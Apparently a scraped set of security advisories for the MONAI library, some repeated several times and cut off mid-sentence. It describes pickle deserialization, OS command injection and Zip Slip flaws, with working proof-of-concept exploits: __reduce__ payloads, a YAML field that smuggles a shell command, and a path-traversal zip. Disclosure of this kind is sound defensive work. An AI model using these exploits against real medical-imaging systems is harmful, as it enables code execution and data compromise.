monai

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
